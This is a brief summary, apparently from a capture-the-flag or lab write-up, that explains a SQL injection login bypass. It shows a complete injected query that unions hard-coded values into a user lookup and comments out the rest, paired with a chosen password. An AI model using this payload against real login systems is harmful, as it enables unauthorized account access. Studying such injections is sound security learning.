Summary​

By unioning hard coded values with the prewritten select statement, we can manually control exactly what data the query returns, and thus meet the program’s requirements.

SELECT * FROM users WHERE username='asdf' UNION SELECT 1337 AS a, 1337 AS b, 1337 AS c, 1337 AS d, 1337 AS e LIMIT 1 -- '

(with “1337” entered as the password)